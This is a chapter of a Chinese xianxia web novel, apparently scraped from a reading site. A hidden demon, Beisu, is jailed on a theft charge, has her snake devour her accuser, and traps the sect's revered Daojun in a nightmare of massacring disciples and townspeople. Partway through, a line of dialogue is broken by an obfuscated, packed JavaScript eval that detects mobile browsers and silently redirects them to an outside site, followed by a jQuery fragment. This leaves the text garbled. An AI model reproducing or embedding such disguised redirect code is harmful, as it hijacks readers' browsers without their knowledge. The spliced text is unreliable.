“这次裂缝出现得突然,阵法又没法中断,损失两名弟子。被异种拉入裂缝里,尸骨都无。”星峦说这句话时,成镜并无表情。
“你这重莲殿也没几个人伺候,现下又少了个,不然再从底下挑选个过来……”
凉亭里人在说话,塘埂上北溯和那几名幸存的弟子站着,除了珩断,都将目光投向她,问她话。
北溯起先没什么反应,她在看凉亭里的人,还是小蛇提醒她有人在和她说话。
等她转过头看过去,他们问:“你同伴死了,你都不难过的吗?”
北溯扫了眼这几个男的,他们死了个同伴,面上看着是在为那位死去的同伴难过。
“她不是我的同伴。”她的声音没什么情绪起伏,小蛇看着她,竖瞳泛上心疼。
“我没有同伴。”
那几名弟子纷纷往后退,离她远点,转头看向从回来后就没说过话的珩断,其中一人上前拍了拍他的肩,随口说了句:“节哀。”
珩断没有反应。
北溯看了眼,没说话。
“他应该很难过吧,自己的妹妹被拖入裂缝。”
一旦被拖进去,没有再出来的可能。
小蛇看看北溯,犹豫着要不要也安慰她,被她发现,语气嘲讽:“怎么,你也觉得我该难受难受?”
小蛇尾巴立刻摇得起飞:“没,我才没。”
吓死蛇了,差点忘了北北最不喜欢别人安慰她。
片刻后,小蛇盯着凉亭那,竖瞳缩成一条线,没好气道:“北北,他们在说你坏话!”
“若非三百年前那邪神作恶,世间又怎么会出现异种怪物,无法完全彻底清除,还搞出了裂缝。好在那邪神被封印了,不然她定然还要祸害人间。”
小蛇转头看北溯,她好像没什么反应。
那边还在说,小蛇气呼呼瞪着星峦,“污蔑,这是污蔑!”
“什么都不知道就瞎说,你们就知道污蔑人!”说完它扬起尾巴摸摸北溯脑袋,安慰她:“北北别听,是恶言。”
北溯在听,她想知道自己被封印的这三百年里,这些人都是怎么“评价”她的。
“当年若不是那几位仙人舍生取义封印了邪神,今日我们便是在炼狱中。”
仙人?舍生取义?
那几个老不死的也能被人用“舍生取义”来称赞了,真是可笑。
看样子星峦听过当年的事,但也仅限于传闻。他的年纪摆在这,三百年前她被封印时,他还没出生。
“唉,当初要不是邪神破坏世间体系,也不会引得妖界崩塌,致使那么多人变成怪物,人间也不会乱成这样。”
“他又在说你!”
北溯轻笑:“他这话不假,妖界崩塌确实是我一手造成的。”
“但你也是为了……”小蛇说不出来了,她们妖和人一直都是对头,加上当年北北做的事,不可能有人会相信她。
算了,还是尽快把莲花带走,回妖界吧。
那边人聊完,成镜拒绝了星峦再招一个人来重莲殿的提议,星峦汇报完后,扶额行礼,拄着拐杖带着弟子们离开。
珩断一句话未说,看也没看北溯,掉头就走。
小蛇没好气道:“北北的符咒好歹也救了你,都不说一声谢谢。”
它缠回北溯手腕上,仰头问她:“北北,我们要回小破屋去吗?”
北溯嗯了一声,说:“藕粉还没磨完。”
她看也没看凉亭内的男人一眼,直接离开。
成镜凝眸看她的背影,指尖莲花绽放又合拢,重复数次,隐匿回去,抬手打开禁阵,转身进去。
脚下步步生莲,他的身影倒映水中,片刻后,穿着黑袍的女子在他身后落下,站在凉亭连接水栈的台阶上,未曾往前迈一步。
“你怀疑那名女弟子有问题?”嗓音冷冽,没有丝毫温度。
天綪看着一步步隐入雾气中的男人,再次开口:“你飞升在即,万不可出任何差错,那名女弟子我帮你解决了。”
成镜没有应声。
“如今人界只有你有能力飞升,你成仙,才能解决裂缝,拯救人世。”天綪语气依旧冷淡:“不论是谁,都不能挡你飞升。”
雾气笼罩,水栈渐渐消失,禁阵合上,天綪久久凝视重莲殿的方向,眸色幽深。
小破屋里静悄悄的,小蛇在屋子里看了一圈,有些不舍,“玲玲还没见过我本体呢,就这么没了。”
屋子里都是珩玲的东西,她哥送的小玩意,窗口挂着一个贝壳做的风铃,北溯觉得那声音不好听,珩玲非要坚持挂着,后来么北溯施法让风铃响不了,珩玲解不开咒法,气了好几天。
小蛇觉得,比起那个难听的风铃,珩玲也是个风铃,天天叽叽喳喳,比风铃还吵。
现在没人吵了,它还有些不适应。
跑到外面看到北溯已经磨完藕粉,小心翼翼问:“我们要现在送过去吗?”
北溯摇头:“等天黑。”她的力量在夜晚发挥的威力更强。
小破屋在傍晚时迎来不速之客。
陆微璎以她偷窃莲藕为名要逮捕她,将她关入七重山刑罚堂,里头都是触犯道宗宗规的弟子,不受满刑罚,不可离开。
显然,她的触犯的宗规很严重,直接把她吊起来,等堂主亲自来审问她。
小蛇在里头兜了一圈,跑回来说:“里头黑漆麻乌的,都是血,没什么好看的。”
不过一会,陆微璎走进来,声音轻蔑:“亵渎道君就是这样的下场。”
她特地嗅了嗅,已经闻不到那股莲香,但依旧觉得不爽。
“我宗以道君为尊,任何冒犯、危害道君的人,都将被吊七日,全宗通报。你还敢偷道君的莲藕,罪不可赦!”
“裴云霄,七日后,就是你的死期。”
北溯扫了眼她这副小人得志的模样,没理她。
“就你还想罚北北,你等着,今晚我就在你饭里下毒!”小蛇尾巴一甩,朝她头上甩了一尾巴。
陆微璎只感觉到头顶一阵凉意,狐疑地盯了会北溯,听见身后脚步声,立刻带笑转身恭敬道:“堂主,犯规的弟子就是此人。”
刑罚堂堂主姓王,虎背熊腰,体型壮得连光线都遮住了。
王堂主往牢房里看了眼,摆摆手,转身就走:“先吊着,明日一早吊到六重山。”
陆微璎面上一喜,说了声是,等王堂主一走,小心思藏都不藏了:“当初星峦长老将你提拔到重莲殿做事,我就不同意,你这样的人怎么配服侍道君,果不其然,你心思不纯。”
北溯快装不下去,这人再不走,她就忍不住想动手了。
陆微璎冷哼一声,终于离开。
北溯盯着她的背影,手指一动,小蛇忽然膨胀身形,张开巨口,一口吞了陆微璎。
一息过后,被吊着的人呆滞着缓缓歪了脑袋。
陆微璎先前站着的地方闪过一道黑影,“她”的身影重现,不是很满意地拍了拍脸颊。
“当初我看到你就觉得不顺眼,果不其然,现在还是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860746|176011||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不顺眼。”
小蛇呸呸两口,嫌弃道:“她的味道好臭,还是莲花的味道香。”
北溯挠挠它下巴,扬起笑:“走吧,带你去吃莲花。”
七日,足够她摧毁成镜意志将他带走。
只要他没法用昆仑镜,触发不了七绝阵,一切都在她掌握之中。
北溯让小蛇吐出成镜气息,直接潜进重莲殿。
脚步轻盈地落到地面,每走一步,无形的力量荡开,弯月与莲池倒转,周遭声音逐渐消失。
那轮比昨晚圆了些的月缓缓从窗户中露出真容,静谧月光洒进来,躺在床榻上的人清晰可见。
他的发被平整在身后,两旁散开的墨发在月光下,黑得如绸缎般,顺滑而有光泽。
眉心莲花印记与月光交相辉映,阖上的眼睫纤长,北溯伸手碰了碰,他的睫羽不像她的那么软,一碰上去,硬得戳手。
“睡得挺香。”
视线缓缓下移,在他高挺的鼻梁上停留片刻,最终被他淡色薄唇吸引。
几次见他,他说话时薄唇上下轻碰,声音便出来了,她其实很想看他的唇发出别样的音调,那时唇色应是浓郁的,而非现在这般令她没什么兴致的寡淡。
视线里他的胸膛忽然起伏,当即收了手,语气可以听出几分兴奋。
真想看看,被誉为仙界生灵之源的金莲,能否承受世间污秽,被玷污侵染后,还能不能保持原本的圣洁。
她看着他几乎透明的里衣,抬手抚上他的眉心:“鳞舞,你说今晚,他会不会崩溃到被困在梦境里,求我放过他?”
被万人敬仰的道君亲手屠戮人间生灵,还有什么是比这还能摧毁成镜意志的?
小蛇激动地舞着尾巴,竖瞳缩成一条线,硕大的身形挤满寝殿,将床上的人吞下。
一把火涌出,将整个寝殿点燃,成镜从重莲殿里走出来,血冲刷他的青衣,重莲殿前的池水黏稠,腥臭,黑沉。
那是无数弟子的血流入莲池中,原本高洁不染脏污的莲,被血浸泡。
这是血池,是成镜一手造出来的地狱。
“道君,为什么……你要堕魔……”
有人抓住他的脚踝,衣摆上是无数被他手刃后留下的血手印。
他抬脚碾碎那人的指骨,凄厉的吼声响彻夜晚。他带血的脚掌踩在那人的背上,那人呕出一口血,彻底没气。
他身形忽然消失,出现在凡人城池中,鲜红到如血色的莲花绽放,整个城池瞬间发出凄厉惨叫,所有人在他这一击下丧命,孩童的哭泣声被他捂住,就这么窒息而亡。
他站在城墙上,垂眸往城里看。
这片被血淹没的土地上,只有这个作恶的人还活着。
他的身影忽然消失,出现在重莲殿前,再次重复这个梦境。
他抬手砍断天綪的头,捏碎她的脑袋。
北溯坐在弯月之上,低头俯视那个被血玷污的男人,托起下巴,打量了会,忽然跳下去。
她跳进血池中,用鲜血染透自己。
血池下忽然出现死不瞑目的妖兽,他们瞪着充血的眼,全都盯着她。
却在她浮出水面时,消失殆尽,水底重新被无数的尸体占据。
她从水里爬出来,走上塘埂,走向他。
“痛苦吗?想解脱吗?”
被血浸透的脸笑着,北溯朝他伸出手,如同从地狱里爬出来的恶鬼,邀请他堕落。
男人额间莲花印闪了一瞬,缓缓抬起眼帘,眼睫一眨也不眨地看着她。